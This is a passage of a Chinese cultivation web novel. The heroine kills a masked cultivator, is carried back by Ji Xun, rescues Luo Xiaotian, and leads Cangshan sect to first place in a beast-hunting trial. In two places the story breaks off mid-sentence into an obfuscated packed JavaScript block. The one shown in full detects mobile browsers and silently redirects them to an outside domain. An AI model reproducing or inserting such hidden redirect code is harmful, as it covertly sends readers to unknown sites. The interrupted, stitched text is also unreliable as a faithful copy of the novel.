战斗,他忙里抽空看她,见她这幅兴致盎然的模样,无奈地摇摇头,询问道:“再玩多久?” 地底下的蒙面修士:“……” 欺人太甚!!! 季灵泽被看穿,盘着石子的手心虚地停了停,她干笑道:“算了算了,不玩了。” 说罢,她两指并拢,向地下一指,一团烈火顺着她的指尖流淌下去,从修士探出头的洞口一直烧到洞中,逼得蒙面修士不得不破土而出。 他狼狈地连退几步躲开劈头盖脸的石子,不可置信地抖着手,指着季灵泽,嘴唇哆嗦了好一阵子:“你竟会不止一种灵力!” 季灵泽微挑眉,“啊”了一声,低头看看自己的手,道:“被你发现了。” 说完这句话,她手中招财剑上泛起一层清光,照出她眸子中欺霜傲雪般的寒意,她低低笑道:“既然知道了,就更不能放你走了。” 说罢,她拔剑便杀来。 蒙面修士眼睁睁见着女子剑势快若流星,竟不是自己所能招架,情急之下,慌不择路地将毕生灵力都输入引鬼铃中,狠狠一晃。 他元婴后期境界虽有水分,灵力却也是实打实的灵力。 天地变色,半空中的血月像一块迅速涨大的肉瘤,遮天蔽日的红光洒满了整个黄泉林,铃舌摇动的那一刻,风声、魔兽的嘶叫声,树林摇动的沙沙声,什么声音也没有了。 天地间,唯有一片死一般的寂然。 季灵泽眉头一皱,血顺着她的口腔涌上来,舌底顿时一片铁锈味。 引鬼铃第三式:焚心。 瞬息之间将音波扎入心脉,那种带着不祥之气的音波会顺着心脉侵入灵台,吞噬掉灵台中的所有灵力,蚕食该修士的修为。 偏偏季灵泽的心脉,正是她最大的弱点。 季灵泽沉沉吐出一口气,四肢百骸再一次浮现出那种熟悉的撕裂疼痛感。 她良久没有动作,久违的沸腾怒意像一把火,点燃了这具伤痕累累的躯体。 她努力有意克制自己,在考场中不管遇到什么情况都不敢大肆使用灵力,就是为了养好自己的心脉。 此刻,补了这么久的心脉,还是,功亏一篑了。 蒙面修士见她中招,眼中浮现出毫不掩饰的得意之色,他愈发用力地摇动引鬼铃,慢慢向后退去:“这一次,你走不了了。” 季灵泽目光彻底冷下来,压下那些血气,提剑向前,被一只手拦住了。 季寻蹙眉担心看着她,低声道:“你在此处休息,我去……” “让开,”季灵泽抬手拭去嘴角溢出来的一丝血,看向前方,眼中布满血丝,“我要亲手杀了他。” 她说罢,将凤潇潇曾给她的那些丹药倒出,一口气全部咽了下去。 精纯的灵力顿时狂澜般从她的灵台翻涌而出,浑身上下的灵力汇聚成一股奔腾在心脉中的溪流,她竟是忽视了自己身体的不适,以磅礴灵力强行压下心脉里音波的侵蚀! 她体内的灵力与心脉里的音波不断拉锯,在这个过程中,季灵泽内丹运转速度快到了极致,竟直接升为了筑基大圆满! 季灵泽把招财剑拔出,转身提膝,手腕翻转,断剑在空中挽出一个剑花,只听怒雷狂狮声响,一道惊雷撕开半空中肉瘤一般的血月,瞬间天地变色,狂风大作。 她发带崩断了,黑发倾泻下来,风将她的发丝吹得凌乱,宛如地狱里爬出来的修罗。 蒙面修士霍然变色,转身便踉跄逃去,但已经晚了一步,女子凌空一跃而起,白衣从血月下晃过,宛如红云出岫,血光照彻她苍白的脸,照清她唇畔的一抹笑意,印在他颤抖的瞳孔中,煞气腾腾,狠戾狂狷。 浑然不像个仙修。 22. 第 22 章 她剑风逼来的那一瞬间,蒙面修士心中竟隐隐生出一股畏惧之感,他不得不放弃摇铃,仓皇结印,黄沙迅速凝结成一把利剑,他提剑在手,咬牙想格挡住她的一击。 断剑携着雷霆之力自上而下劈下,如虹剑气扫来,割断了蒙面修士的面具,面具碎裂成两截,掉落在地,露出他的脸来。 蒙面修士一惊,手中不由得卸了力,季灵泽的招财剑刃快速抽动一瞬,宛如青龙出水,四两拨千斤地击打在厚重的黄沙剑上,一剑刺散了黄沙剑! 他还要再捏诀,季灵泽已经翻身飞起一脚踹在他的小腹上,将他整个人踹得跌落在地,口中喷出一口血来,那一脚竟是生生踹碎了他的五脏六腑。 他再想起来已经不能了,因为一只脚狠狠踩在他的心口处,长剑抵住他的喉咙,季灵泽弯腰盯着他的眼睛,寒声道:“你背后是谁,告诉我,我给你一个痛快。” “否则。”季灵泽的剑在他的咽喉处更深地顶了顶,割出一条血痕。 她语声平淡,像是在和他话家常:“我会一刀一刀,慢慢杀你。” 修士双眼暴突,浑身都因死亡的威胁而发着抖,他抓着引鬼铃的那只手开始试图摇动,企图再一次用引鬼铃攻击季灵泽。 但这注定是徒劳的。 季灵泽瞥了一眼,抬剑,将他死死拽着引鬼铃的那只手砍下,修士发出一声惊天动地的哀嚎:“啊啊啊啊!我说,我说,那日想杀你的人是……” 下面的话却卡在嗓子眼里怎么也说不出来,他惊恐地拼命摇着头,脸色瞬间铁青,难以置信地念叨着:“怎么会……怎么会……” 有人在他不知道的时候,给他下了禁声咒。 季灵泽的目光中闪过一丝嘲讽与惋惜,这个人最后的价值也已经丧失,她手腕转动,剑锋在他脖子上一抹。 修士脖颈间一凉,喉头泛起血腥味,还没来得及求饶便被一剑割喉,他呕出一大口血来,软软地垂下头去,听见的最后一句话是: “等着,你背后的人会来与你相见的。” 季灵泽抽回剑,面上一丝表情都没有,剑锋上还在往下淅淅沥沥地滴血,她顺手用修士的衣服擦拭了一下佩剑,又弯腰从尸体手中揪出引鬼铃塞进储物袋中,而后才回头望向季寻。 “今日的事,烦请不要说出去。” 她脸颊沾着一道鲜艳的血印,口吻礼貌,然而并无笑意,方才杀人的戾气尚未从她眼中完全褪去,冷如薄刃。 这一句“烦请”,听起来更接近威胁。 “不会。”季寻的手在空中划出一道符文,主动按在自己心口处,立即道。 这是发誓的意思了。 见他给出了诚意,季灵泽松了口气,最后一点力气也泄了,方才还凶神恶煞的人身形一晃,竟直直栽倒下去。 倒下去的时候她有点嫌恶地想,地上全是那魔修的血,她的衣服要脏了。 下一秒,她鼻尖盈满了极淡的梅花清香。 季寻跪坐在血里,一把接住了向后倒下去的她,垂眸看过来的目光像是一汪碎雪,又像是低低的一声叹息。 那股令人不安的气息又出现了,季灵泽深深吸了一口气,抬手聚力想把他推开,然而太虚弱没推动。额头突然传来微凉的触感,一只手落在她的额角,带来些许冷意,她恍惚听见他暗哑的嗓音:“你发烧了,伤得很重,不许再动用灵力了。” 这是污蔑,这点小伤哪至于伤重。 季灵泽攒起一点虚弱的力气想要反驳,却被季寻捂住了嘴,她眨了一下眼睛,颇为稀奇地朝季寻看过去,看见了他紧锁的眉。 她并不喜欢与人有这么近的距离,抓着他的袖子想要站起身,然而好死不死,她起身的瞬间,看见了季寻的眼睛。 那双清冷纤长的眸中泛起水汽,眼尾缀了一抹淡红,像是万丈冰化作绕指柔。 见她要站起来,他好像很伤心。 季灵泽:“……” ……这人气质如同冰雪,人也像冰雪一样脆弱,叫人生怕一个不小心碰化了。 怎么会有这么热心肠的人,不让他帮忙,他居然还会难过? 她难得语塞了,感觉自己所剩无几的良心有一点不安。 “算了……我还是有点没力气。”不安的季灵泽给自己做了一下心里建设,艰难地躺了回去,有点无奈地想,人要学会接受别人的善意帮助。 季寻小心翼翼地抱着她,御剑向回赶。 他一句话都没说,季灵泽却莫名觉得他心情好了一点。 “季仙友,”季灵泽想起方才他主动跪下来接住她,犹豫片刻,总觉得自己应该表达一下谢意,于是很诚恳地道,“有没有人说过你是个好人?” 季寻脚下佩剑猛然一停。 这句话似乎让他刚好一点的心情又回落了,他深深吸了一口气,没有低头看她,只留给她一个高冷的下颌线,嘲讽道:“凌仙友,有没有人说过你是个不守承诺的人?” 季灵泽刚想反驳,突然想起自己半个时辰前才答应他不会再伤到自己,一口气呛在了嗓子里:“……” 然而,季寻攻击力远不止这些,他像是憋了很久,继续语速飞快地道:“你心脉糟糕至此,却还要一而再再而三动用灵力,是嫌自己命太长吗?” 季灵泽没想到这个热心肠的冷修士要么不说话,要么一开口就毒死她,意外地卡了一下,迷茫地张了张口:“我……” 他像是早就知道她要说什么,冷笑一声,丝毫不给她说话的空间,继续道:“如果方才我不在这里,你准备一个人躺到恢复吗?” “对啊,”季灵泽终于找到空隙给自己申冤,她满不在乎地笑了笑,“躺一会儿有力气了再回去,其实也没什么。” 季寻的脸色一下子黑了,她几乎能感觉到他胸口急剧起伏了一下,然后……然后他将手按在她的后心上,气急败坏地给她输送了一大股灵力。 好别致的生气反应。 季灵泽挑眉,抬头深深看了他一眼,目光里带着笑意。 “……看什么看,下次你若是再不顾死活,大罗金仙来了也救不了你。”季寻铁青着一张脸,十分不客气地道,输送完灵力,他就迅速地收回手,好像她身上有火烫着了他一样。 季灵泽没有收回目光,她愈发放肆盯着他的脸,一直看到他受不了低头看过来,才冷不丁地问:“你是哪个尊者座下的?” 这个问题猝不及防,季寻脚步一停。 “你不是本体吧?能幻化出如此长时间的替身,想必阁下修为不俗,百晓山一出事,你就精准找到了黄泉林的位置,对百兽考场的地形很熟悉,”季灵泽含笑看着他有些躲闪的目光,“我听说几个尊者每一届仙选大会都会招人当徒弟,你是哪个尊者座下的?” 季寻木着脸,一脸的拒绝回答。 见他拒不配合,季灵泽拉长了声调叹息道:“可惜,本想问问你师从何处,有没有推荐的师尊,你不告诉我,我只能自己选师尊了。” 她对几个尊者现在的情况所知甚少,能拐弯抹角套点话也是好的。 季寻抱着她的手一僵。 风铺面而来,灵力正在缓慢清除那些流窜在她心脉里的残余音波,季灵泽舒了口气,折磨了她许久的疼痛慢慢浅了一点,她稍稍好过了一点,开始专注地等他回答。 但季寻一直没回答这个问题,就在季灵泽以为他要忘记这件事时,他开口了。 “玄天真人太不稳重,不适合你,”他一本正经道,“玄豹散人过于严厉,也不适合你。” 季灵泽听见洛川太不稳重便想笑,硬生生忍住了,附和道:“啊,是,你说的有理,那看来还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她脸色极差,唇上更是一丝血色也没有,闭上眼睛不说话后,显得格外倦怠疲惫。 季寻抱着她,只觉得怀中之人轻飘飘的,一点重量也没有,恐怕浑身上下只剩下一身骨头在负隅顽抗。 这样的状态,她还能强撑着一口气,越级杀死一个修士,整个修真界,再无第二人。 季寻一言不发地向前,他必须要用尽全身力气,才能控制住自己不去看她。 不去看她的伤痕,不去看她毫无血色的脸,不去看她听见自己名字后,乍然失去兴趣的表情。 只要不去看,就不会那么难过。 他御剑飞行,速度极慢,夜色宁静,唯有树木发出沙沙声,天空中一轮血月安静地注视着他们,生平第一次,他希望自己的速度能再慢一点,再慢一点。 为了这一刻,他已经等待了数百年。 “……你是不是有点太慢了?是走错地方了吗?”季灵泽闭着眼,忍了又忍,还是没忍住,戳了他的肩膀一下,不得不出声提醒道。 来的时候,这段路只花了一炷香不到的功夫,怎么回去的时候花了一个时辰? 季寻莫不是忘记路了? 抱着她的人很明显的一顿。 季灵泽听见他再一次深吸一口气,抓着她的那双手攥紧了,因为攥得太紧,骨节发出了清脆的“卡巴”一声。 他声音又冷又硬:“闭上眼睛睡你的觉。” 啧。 季灵泽感觉自己一定是猜对了,这家伙就是迷路了,被自己拆穿,恼羞成怒。 她低笑一声,很谦让地没有和他计较:“好好好,我不说话了。” 说罢,她将眼睛一闭,脸一埋,真的不说话了。 23. 第 23 章 在最开始一瞬间的下意识防备后,季灵泽没有再从季寻身上感知到那种令她不安的气息。 平心而论,季寻的身上的香气很好闻,淡而沉,像是冷梅的香气,这种味道总让她联想起上辈子她住过的那个种满梅花的小院,也许是她实在太累了,不知不觉中,她竟昏昏沉沉地睡了过去。 睡过去的时候她依然是抱着剑的,手指搭在剑柄上,季寻抬手想替她将剑拿下来,却没能扯动。 防备已经被她刻在了骨子里,她虽然躺在他怀中,但他毫不怀疑,自己如有异动,季灵泽会瞬间醒过来。 等他们到达洞口,郁观已经等待良久了,他一见到季寻抱着季灵泽,连忙小跑过来,皱着眉紧张地问:“她没事吧?” 季灵泽睡眠浅,到达洞中的时候便醒了,她缓缓睁开眼,正对着凑过来的郁观一张放大的脸,想都没想就抬手给了他一个爆栗。 郁观捂着额头气急败坏地叫道:“是我!我来看你有没有事!狗咬吕洞宾,不识好人心!” “嗯,所以好人能不能把扇子换了,不计较我那点欠款?” “滚滚滚,我看你一点事都没有,不会是装的吧!” 季灵泽笑着翻身躲过他敲过来的一扇子,这才发现自己被季寻放在了一个干净的草堆上,草堆柔软舒适,像一块托着她的软垫,季灵泽手脚还有些发虚,干脆躺着不起来了。 听见郁观骂她,她笑道:“是没事……” 季寻方才还背对着他们站着,一听这个开头,立刻转过来打断了:“没事?你差点死了。” 郁观一惊,收了玩笑的神色,他抬手便要去摸季灵泽的脉门,被季寻拦住:“让她休息吧。” 季灵泽打了个哈欠,摆摆手,笑道:“这么关心我啊郁少爷。” 郁观却没有接这个玩笑,他皱眉盯着季灵泽惨白的脸色,正色道:“你看起来很不好,发生什么了?” 季灵泽顿了一下,将事情的经过大致讲了讲,隐去了一些她发觉对方是百晓山的长老、对方带有引鬼铃的细节,但已经听得郁观脸色越来越差。 “这么说,他背后还有人?” “是,”季灵泽看着后面围过来的一圈百晓山弟子,目光闪动,道,“有人想借着黄泉林这把刀,杀了整个百晓山的人。” 百晓山的弟子们听到此处,面面相觑,有人颤声问道:“谁这么下作?是魔修吗?” 季灵泽摇摇头,佯装不知,只道:“我怀疑他们想对付的不只是百晓山,而是参加仙选大会的所有人。” 她说完这句话便扶着墙起身,对郁观和季寻道:“洛啸天还没出来,我们该去找他了。” 百晓山的弟子们忙道:“我们也想同去寻找少主。” 季灵泽偏头看了他们一会儿,慢慢笑了一声:“好啊。” 走在她旁边的郁观脚步突然一顿。 他脑海中忽然冒出了一个声音:“那害我们的极可能是百晓山的长老,目前不确认百晓山的弟子有多少人被他蛊惑,不要相信任何人。” 郁观的目光扫过身边的百晓山弟子,手中握着的扇子上闪过一丝水蓝色的波纹,随即又恢复了原来的样子,他的步子走慢了几步,慢慢落到了所有人身后,而后给季灵泽传声道:“……好。” 季灵泽知道沼泽阵会把洛啸天关进哪里,但她还是特意在整个黄泉林兜了一圈,带着身后的一众人杀了好几拨魔兽后,才假装不经意地一脚踩在了一个凸起的朱红色石块上。 众人只听见“咔嚓”一声巨响,随即他们脚下的地面开始开裂,像被人凭空劈成两半了一样,一条巨大的缝隙开始出现在他们脚下,缝隙不断变宽,到最后竟将整个黄泉林撕成了两半,那坚硬的地面下,居然还有一层可供人活动的空间! 有人不禁喃喃道:“这是……魔尊干的吗?” 数百年前的阵法在此时轰然洞开,这道缝隙流畅光滑,边缘清晰,是被一剑劈开的。 在场的人,除了季灵泽和季寻,一时间都盯着这道缝隙,说不出话来。 以一剑之力劈开整个黄泉林,这该是多么强悍的灵力? 季灵泽掂了一下手中的招财剑,率先跳下缝隙,紧接着,季寻也跳了下去,百晓山弟子你看看我我看看你,一咬牙也全部跟着跳了下去。 只剩下郁观站在原地,他脑海里还回荡着那句“不要相信任何人”,他拎着扇子,盘膝坐在缝隙口,安静望着跳下去的人,自觉开始望风。 缝隙下面的那层空间一丝光亮也没有,伸手不见五指,季灵泽走了几步,回头问道:“有没有会火系灵力的?” 百晓山弟子多修习浴沙咒,沙系灵力者居多,只有一个有些瘦弱的女子站出来,自告奋勇道:“我试试。” 她神情肃穆,平举双手,手指冒出一团火来,季灵泽聚起一团黄沙,顺着他们走的路线在地底下的岩壁上捏出了上百个灯托,同时指挥火焰顺着她的动作点燃了一盏一盏的灯托,百盏沙灯像一串滚落的夜明珠,将这昏暗的地底照得灯火通明。 “你不能再动用灵力了。”季寻走在她身侧,见她这样,皱眉低声提醒道。 季灵泽立刻将手缩回衣袖中,尴尬地笑了笑:“下次真的不用了。” 嘴上说的是“下次不用了”,她这随意的态度分明就是下次还敢,季寻没有拆穿她,扭过头去,快走了几步,与她隔了一段距离。 季灵泽抬脚跟上去,偏头笑看着他:“生气了?” 季寻转过脸来看着她,目光凉飕飕的:“没,希望你记性不要太差。” “好,”季灵泽举起一只手指天发誓道,“我若是今日再动用灵力了,便叫我……” 她还没说下去,就被季寻一把拿封口咒堵住了嘴,剩下的半句“便叫我的伤永远也好不了”被噎在了嗓子里,一时间又好气又好笑,抓起手里的招财剑戳了一下他的腰,而后抬手捏诀解开封口咒,摇头叹息:“发誓也不行了,那你说,要怎么办才肯让你相信我的话?” 季寻目光不动,直视前方,速度极快地向前走,一幅不想理她的模样。 “不等等我吗?季仙友,我还是个病人。”季灵泽站在原地,抬高了嗓音朝他的背影道。 季寻头也没回,好似没听见她的话,一段时间后,脚步却逐渐慢了下来,两人的距离越缩越小,终于回到了并肩的状态。 洞内昏暗,唯有一片火光,落在他身上,平白给那道萧疏的背影添了一层暖意。 季灵泽盯着他看了一会儿,忍不住生出了一点儿奇怪的念头。 总觉得在哪里见过这道背影。 正当她深思之际,一个声音忽而响起,顿时引得身后的百晓山一片骚乱。 “是你们!你们怎么找到这里来的!” 转角处,一个灰头土脸的人激动地跑了出来,他头发上、脖子上、脸上全都是黄沙,像一个移动的兵马俑,几乎让人看不出原本的模样。 他身后,一大团毛茸茸的土黄色东西抖了抖毛,黄沙簌簌而下,露出一只狼的模样。正是洛啸天的坐骑沙狼。 季灵泽直到看见沙狼,才认出是洛啸天。 身后的众人一见到他这副尊容,全部惊呆了,张着口默默看着他,洛啸天见到他们这表情还有什么不明白的,气急败坏地用手抹自己的脸,抹了半天越抹越黑,只得自暴自弃地开口道: “看什么看,小爷我为了出来找你们一直试图破阵,结果这狗屁阵法也不知是哪个混蛋设计的,一旦攻击就要掉我一嘴沙子,呸呸呸!” 他一张嘴,嘴里的沙子就到处飞。 混蛋季灵泽默默站后面了点,生怕沙子溅到自己身上。 她当初设这个阵法,定了一个防御机制,用哪种灵力攻击阵法,阵法便反弹这种灵力回去,看来洛啸天使了不少力气攻击阵法,才能把自己搞成现在这个鬼样子。 她没忍住“噗嗤”一声笑了,洛啸天一见到她这样就生气,他指着她大声道:“不许笑!有什么可笑的!!!扈紫珠!你快帮我拿手帕擦擦脸!” 这句话说完,百晓山的弟子怔住了。 季灵泽听见他的后半句话,面上的笑意也淡了。 环顾四周没见到想见的人,洛啸天心里一跳,他问:“扈紫珠去哪儿了?” 没有回答。 洛啸天终于安静了下来。 他垂着头不知想了什么,许久后,才低声道:“她是出去打魔兽了吗?算了,这次就原谅她不在这里。” 他若无其事地拍拍身上的尘土,朝百晓山的众人笑道:“愣着干嘛,走啊。” 没有人动,不知过了多久,有一个百晓山的弟子颤颤巍巍地道:“扈师姐她……堕魔身陨了。” 洛啸天盯着说话的人半晌,突然暴起,一把捏住了那弟子的领口,咬牙切齿地道:“不可能!绝不可能!!” 那弟子艰难地喘着气道:“真的,少主,我们遇见了一股魔兽潮,扈师姐在杀魔兽的时候忽然堕魔,杀死了同僚,然后就离开了我们……” 一滴泪珠顺着洛啸天的脸滑落,将他脸上斑驳的黄沙冲出一道细小的裂纹,他摇着头,一遍遍吼着“不可能”,直到,越来越多的百晓山弟子附和这是真的。 “少主,我们真的看见了扈师姐入魔……” “扈师姐杀人的时候,我就在旁边。” “如果不是亲眼所见,我们也不敢相信……” …… 洛啸天终于颓然松开了揪着的衣领,跌坐在地上,沙狼缓缓靠近他,低头拱了拱他的脸。 他仰头,捂着自己的眼睛,一遍又一遍地说,不可能。 一个活生生的生命,怎么会突然就死了呢? 季灵泽上前一步,她将手搭在洛啸天肩上,一道清晰的嗓音传入他的灵台: “洛啸天,我见到了扈紫珠最后一面,出去之后我们单独细谈。” 是季灵泽的声音。 洛啸天模糊地看见她向自己伸出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451294|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,将他拉了起来,季灵泽的声音像是一道凌冽的刀,将他纷乱的思绪理出一条线,他浑浑噩噩地站起来。 出去……是,他还要带百晓山的弟子们出去。 他将头埋入沙狼茂密的毛中,深深吸一口气,再抬头时,方才狂躁的情绪已经退潮,眼底一片触目的红血丝,他跨上沙狼,对百晓山的弟子道:“我知道了。” 地面上方突然传来了隆隆巨响,碎石接二连三地掉落,几乎是在同时,季灵泽怀里的传音石疯狂震动起来,季灵泽拿出石头,就听见郁观濒临崩溃的声音: “找到洛啸天了吗?找到了就快点出来,魔兽潮来了我一个人顶不住!!!” “……没找到也快点出来!他没死我要死了!!!” 一听到这个声音,季灵泽眉心一跳,率先御剑飞了出去,她一动,剩下的人全部下意识跟着她往外飞。 自进入黄泉林起,季灵泽始终条理清晰,行动迅捷,他们不知不觉就开始听从她的指挥,这些原本自持身份的大门派弟子,逐渐忘记了自己不久之前,还在嘲笑季灵泽的修为与门派,对她不屑一顾。 季灵泽冲出去后,迎面就看见四处逃窜的郁观。 他御剑摇摇晃晃地从一大群形态各异的魔兽群里穿梭而过,折扇砍下几头魔兽的脑袋后又回到他手中,扇子上的血滴滴答答往下坠,浸透了他的手,他扎好的高马尾也散开了,一头长发披在肩上,随着风胡乱飞舞。 他形容分外凄惨狼狈,哪里还有仙选大会刚开始时考究精致的样子。 季灵泽想笑,郁观目光幽怨地看过来,她忍住了。 季寻站在她旁边,目光盯着她的传音石半晌,开口问了个很奇怪的问题:“他为什么能给你的传音石传音?” “我的传音石是他送的,一开始就绑定好了。”季灵泽扭头看他一眼,大敌当前,他这个问题问得莫名其妙,随口回答了一句,便提着剑去解救郁观了。 她还记得几分钟前才发的誓,忍住了没有用灵力,纯粹靠着剑术将偌大的魔兽潮砍出了一个口子,郁观气喘吁吁地从口子里钻出来,朝着也准备加入战斗的洛啸天吼道:“黄泉林这破地方你也敢来,还快带着你的人出去!我和凌七断后!” 洛啸天一顿,脸色灰暗,他抓紧了沙狼的鬃毛,难得没有和他呛声,带着身后的一群人往黄泉林出口处赶去。 这么顺从的洛啸天让郁观很不习惯,他御剑飞到季灵泽身侧,挠挠头,问:“他怎么了?” “知晓了扈紫珠的事,”季灵泽闪身避开从左边杀来的魔兽爪子,抬剑一剑砍断了它,然后继续道,“多杀一点魔兽再出去,怎么样?” “你是想趁着这里魔兽多大捞一笔?”郁观立马明白了她的意思,他眼珠一转,一拍即合,“好啊,我们比比谁杀的魔兽多。” 身后听见这番话的季寻脸色顿时一沉:“……不可!” 郁观扭头,看见了“南宫策”,感觉自己明白了他的意思,立刻贫嘴道:“又没拦着你,你想杀也可以杀,吵什么吵啊,参加仙选大会的谁不想拿魁首。” 季寻懒得理他,只是看着季灵泽,异常坚决地道:“你真的不能再用灵力了。” “嗯,不用。”季灵泽无奈应了一声,再次抓着剑刺入一只独角犀牛模样的魔兽的体内,精准地将内丹挖出,魔兽哀嚎一声,从半空中坠落,瞬间丧失了行动能力,她踩着魔兽的尸体顺势落地,割下了魔兽的头颅,将犀牛角装入储物袋中。 “放心了?不用灵力我照样可以杀。”杀完魔兽,季灵泽特地扭头朝季寻看过去。 季寻与她目光撞上,默默移开了视线,没有再吭声。 这一套动作行云流水,丝滑无比,看得正在苦苦鏖战的郁观有点嫉妒:“为什么你病刚好,还不用灵力,却能杀的这么快?” 季灵泽将招财剑掷出,投中了一只俯冲下来的巨鸟,她奔跑几步,借力跃起,抓着剑柄将招财剑一把拔出,巨鸟被她一剑穿胸,一抹血飞溅而出,落在她的脸颊边,她落地后抬手擦去脸上的血,谦虚一笑:“可能是我比较厉害。” 他们两个在这里杀得火热,考场外的众门派却已经全部惊呆了。 他们只听见耳朵里不断传来声音: “截止目前,万象宗斩杀魔兽三百二十八只,排名第二,沧山派斩杀魔兽三百零五只,排名第三……” 还不等万象宗的众人高兴,又一道播报声传来: “沧山派斩杀魔兽三百七十六只,排名第一,万象宗斩杀魔兽三百五十五只,排名第二……” 如此循环往复多次,万象宗和沧山派的弟子们面面相觑,最初的喜悦过后,已经麻木了。 他们上哪儿杀的这么多魔兽?!这让黄泉林外的他们情何以堪。 凤潇潇和华漠对视,彼此都在对方眼中看见了迷茫和担忧,沧山派这么多年第一次有望夺得魁首,他们却一点也高兴不起来。 季灵泽和郁观,在里面搞什么? 24. 第 24 章 郁观杀到一半,总觉得少了点什么,终于想起这里还有第三个人,回头看看始终停留在原地、鲜少出手的季寻,发自内心地疑惑道:“你为什么不杀魔兽?” 这太不符合南宫策的行事风格。 季寻抬手幻化出冰锥,将一只试图从后面偷袭季灵泽的魔兽刺穿,收回手,瞥了一眼郁观,道:“因为我不蠢,不会在刚刚死里逃生的时候让自己再陷入险境。” 他身后突然伸出一只手,季灵泽的头从他背后探出来,谁也不知道她什么时候偷偷绕到季寻身后,她朝霍然扭头的季寻一笑,毫不客气地在他干净的素色衣服上印上一个鲜明的红色手印:“骂谁呢?” 季寻盯着立刻躲开的季灵泽,不知为何脸上有一瞬间的空白:“你……” 季灵泽没等他说完,报复完就立马收手,得意地扬声大笑起来,提剑重新杀入魔兽群中。 她像一把刀,任何会威胁到她性命的险境都是磨刀石,如今刚刚被引鬼铃重创过心脉的她,被磨砺得愈发锋利。 随着每一次挥剑,她的姿势越来越娴熟,角度越来越精准,剑风刮过,寸草不生,一招一式都带着明亮逼人的锐气。 剑锋下,原本围过来的魔兽潮都被她杀怕了,她上前一步,那些魔兽就纷纷退后一步,隐隐约约有种畏惧退却的意思。 而一旁的郁观动作越来越慢,他已经完全被季灵泽的快速迅猛吸引住了,一眨不眨地看着挥剑的季灵泽,她的每一次挥剑,劈、砍、钩、点、戳……都仿佛精密地计算过,没有动用灵力,却能用最快的速度让魔兽丧失行动能力。 这样大规模长时间的杀戮完全没有让她疲惫,反而让她的双眼愈发明亮,一如她手中那把被鲜血洗过的剑。 回锋笑指残云散,血已沾锋胆未寒。 此时此刻,他心里很没出息地想: 谁说凌七是废材?如果他们见到这一刻的她,一定会感叹,这才是真正的天才。 和她做对手,他们万象宗真的能赢吗? 招财剑在一旁的魔兽尸骨上磨了磨,剑锋上滴滴答答地向下滴血,染红了那具尸骨,季灵泽抬眼,再一次挥剑砍向蠢蠢欲动的魔兽。 “时间要到了,”季寻清淡的嗓音不紧不慢地响起,“你杀再多也没有用了。” 这句话一出,刚刚还战得正酣的季灵泽立马停下动作抽身逃开,毫不恋战,一分钟都懒得多动。 断剑入鞘,她撕下一截衣袖充当发带,将因为战斗散乱开的头发扎好,神情松散地朝季寻笑了笑:“谢了。” 说罢这句话,她一秒都没有迟疑,抬脚就往出口的方向走去。 她经过的地方,那些原本张牙舞爪的魔兽戒备地低吼,自动往后退了几步,给她让出一条道来。 斗兽考场的考试结束,郁观也没什么再杀下去的必要,他也将扇子收入袖中,跟了上去。 季灵泽走到出口前,忽而扭头向后看去,郁观顺着她的目光向后看,只见季寻站在原地,没有动,静静看着他们的背影。 “后会有期。”季灵泽弯起唇角,朝他挥挥手。 季寻怔忪地看着她的眼睛,他背后是一群向他蜂拥而来的魔兽,他却视若无睹,独自站立在一轮血月下,清瘦的身姿像是枯槁在黄泉林里的一棵孤木,乍然失了水分。 他动了动嘴唇,感受到自己的一片残魂正在脱离这具替身。 他离魂过许多次,没有一次像今天这样疼痛。 “好久不见。”他听见自己轻轻说。 然而女子没有听见,转过了身,径直走向黄泉林外,她走得很干脆,就像她在此之前无数次离开一样,从不会施舍给他多余的目光。 那句“好久不见”,就这样被黄泉林的风声掩盖,与那个叫“季寻”的替身□□一起,化作了一片清透的梅花。 在荒芜的黄泉林,也曾有梅花为她盛开。 斗兽考场的考试结束了,所有正在奋战的门派都同时停手,他们的耳朵里传来最后一次排名。 沧山派第一。 这个结果别说是那些本就高傲的大门派,连沧山派弟子自己都很恍惚。 凤潇潇抓住华漠的手,沉默良久,道:“你掐我一下。” 华漠没有动,他目光发直,和她一样不可置信:“我们是第一?” 就在二人都对视着愣在原地之时,队伍里的韩平最先爆发出一声惊天动地的嚎叫,声音之高,堪比他被凤潇潇揍的瞬间: “嚯哈哈哈哈哈你们听见了吗我们是第一啊哈哈哈哈哈哈哈哈哈哈哈哈哈!!!” 随着他这一声惊天地泣鬼神的大叫,满脸恍惚的沧山派弟子终于慢慢缓过劲来,他们同样欢呼大叫起来,一下子三三两两拥抱在一起,沸腾成了一团欢乐的海。 凤潇潇站立在原地,注视着欢呼雀跃的沧山派弟子良久,背过身去,抹了一把脸。 华漠站在她旁边,低下头温声道:“怎么了?” “太高兴了,”凤潇潇把手放下,露出一双红通通的眼睛,“上一次我们被玉虚宫针对,在这个考场就出局了,这一次我们却在斗兽考场拿了第一……像是做梦一样。” “师姐,我们不只是这个考场拿第一。”忽而,一个含笑的声音从半空中传来,凤潇潇抬眼,看见了说话的人。 凌七一身白衣几乎被魔兽血染成了红色,她金鸡独立在那把破破烂烂的招财剑上,朝他们挥手,脸色苍白,目光却极亮,像是洒了漫天的星子,微微一眨,肆意张扬。 她御剑落地后,慢条斯理地将后面的半句话补全:“我们每一次都会是第一。” 仙选大会开始前,她也曾经这么说过,那时候,没有人把这句话当真,他们都当这是初出茅庐的师妹一句戏言,听过了也就听过了。 直到此刻,沧山派的所有人望着凌七,都不约而同地想。 她能做到。 有她在,他们不会输。 凤潇潇冲上前来,季灵泽以为她要问自己经历了什么,已经打好了腹稿,却看着她拉着自己左左右右上上下下看了一圈,不放心地道:“你脸色很差,受伤了吗?严不严重?” 